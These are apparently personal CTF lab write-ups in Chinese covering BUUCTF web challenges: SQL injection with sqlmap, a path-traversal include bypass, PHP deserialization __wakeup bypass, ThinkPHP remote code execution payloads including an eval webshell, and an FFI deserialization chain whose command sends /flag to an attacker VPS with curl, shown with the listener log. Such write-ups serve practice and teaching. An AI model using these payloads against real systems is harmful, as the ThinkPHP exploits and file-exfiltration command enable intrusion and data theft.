python .\sqlmap.py -u "http://bb6dac2d-c817-4840-b9ea-9b98100e06e5.node5.buuoj.cn/Less-1/?id=1" --batch -D ctftraining -T flag --dump

+--------------------------------------------+
| flag                                       |
+--------------------------------------------+
| flag{83e39cac-0fdf-4af5-b6f2-911246c0e743} |
+--------------------------------------------+

[SUCTF 2019]EasySQL

传入*,1后端相当于执行select *,1||aaa from bbb,由于1把或截断了,就可以直接拿到。
Array ( [0] => flag{c2a2f051-790a-4f5a-a59e-f81b453bc709} [1] => 1 )

[HCTF 2018]WarmUp

Ctrl+U查看源码,找到source.php,发现hint.php,点进去后告诉你flag位置。
source.php:

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

审计代码,只要把问号转义成%3F即可
payload

source.php%3F/../../../../ffffllllaaaagggg

[极客大挑战 2019]PHP

DirSearch 429 Too Many Requests,所以参考了别人的wp,根目录下有/www.zip
审计index.php

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
?>

发现有反序列化玩。
代码审计

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            // echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();


        }
    }
}

注意到,我们要绕过__wakeup
2024-07-10T07:17:33.png

1._wakeup()函数的定义:
__wakeup() 是 PHP 中一个特殊的魔术方法。它在反序列化一个对象时被自动调用,允许开发者在对象从序列化格式还原为可用的 PHP 对象之前对其进行某些特殊处理。这个方法可以接受任意的参数,但在实际使用中,它通常不需要参数。

2._wakeup()函数的作用:
__wakeup()方法的目的是在对象反序列化后执行一些特定的操作,以还原对象的状态或执行其他必要的逻辑。这个方法可以用来初始化一些无法在序列化字符串中保存的成员变量、建立数据库连接、重新计算缓存数据等。

4._wakeup()函数的绕过:
(1)当反序列化字符串中,表示属性个数的值⼤于真实属性个数时,会绕过 __wakeup 函数的执⾏。

标准序列化结果
O:4:"User":2:{s:8:"username";s:4:"wenda";s:8:"password";s:4:"wenda";}
将2改为3 绕过__Wakeup魔法函数
O:4:"User":3:{s:8:"username";s:4:"wenda";s:8:"password";s:4:"wenda";}

(2)使用C绕过

使用C代替O能绕过_wakeup(),但那样的话只能执行construct()函数或者destruct()函数,无法添加任何内容

注意:使用C绕过有版本要求
————————————————
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。                      
原文链接:https://blog.csdn.net/m0_63138919/article/details/132545718

补充一个知识点

注意:

如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。
同理 如果定义了 __serialize() 和 __sleep() 两个魔术方法,则只有 __serialize() 方法会生效。

显然payload是

?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

[ThinkPHP]2-Rce

https://github.com/vulhub/vulhub/tree/master/thinkphp/2-rce
我们使用payload
http://node5.buuoj.cn:27766/index.php?s=/a/a/a/${@eval($_POST[1])}
然后蚁剑
2024-06-26T12:08:35.png
最后通过webshell,拿下env中的flag
2024-06-26T12:08:57.png

  • 注意,如果直接在payload里面写字符串,好像是过不了的。

[ThinkPHP]5-Rce

https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce
则payload:

index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=env

[ThinkPHP]5.0.23-Rce

https://github.com/vulhub/vulhub/blob/master/thinkphp/5.0.23-rce/README.zh-cn.md

POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=env

2024-06-26T12:18:51.png

[ThinkPHP]IN SQL INJECTION

https://github.com/vulhub/vulhub/blob/master/thinkphp/in-sqlinjection
直接使用给的payload就可以了
http://node5.buuoj.cn:28336/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

[RCTF 2019]Nextphp

<?php
if (isset($_GET['a'])) {
    eval($_GET['a']);
} else {
    show_source(__FILE__);
}

看一下当前目录
?a=var_dump(scandir(%22.%22));

array(2) { [0]=> string(9) "index.php" [1]=> string(11) "preload.php" }

highlight一下
index.php?a=highlight_file(%22preload.php%22);
代码审计

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}

然后就没有什么头绪了,看了下别人的wp:
FFI扩展

<?php
$ffi = FFI::cdef("int system(const char *command);");    
$ffi->system("echo Hello World>./ttmp");    
echo file_get_contents("./ttmp");
//输出结果为Hello World
?>

触发条件

触发条件
如果在php配置文件中开启了ffi.enable=preload,那么FFI中opcache.preload参数指定脚本能够调用FFI,而用户写的函数是没有办法直接调用的。翻看phpinfo,也确实指定了preload.php能够调用FFI。

2024-06-26T12:57:43.png

?a=$a=unserialize('C:1:"A":89:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:26:"int system(char *command);";}}')->__serialize()['ret']->system('curl -d @/flag vps:4555');
[root@xnnpzy ~]# nc -vv -l -p 4445
Listening on any address 4445 (upnotifyp)
Connection from 117.21.200.176:61031
POST / HTTP/1.1
Host: ***************:4445
User-Agent: curl/7.64.0
Accept: */*
Content-Length: 42
Content-Type: application/x-www-form-urlencoded

flag{bd8fa2ea-cb43-4afd-85e0-87bf4adf628c}Total received bytes: 195
Total sent bytes: 0

补充:curl -d @FILE_NAME IP:ADDR 可以读取文件FILE_NAME
2024-06-26T13:13:44.png
2024-06-26T13:13:55.png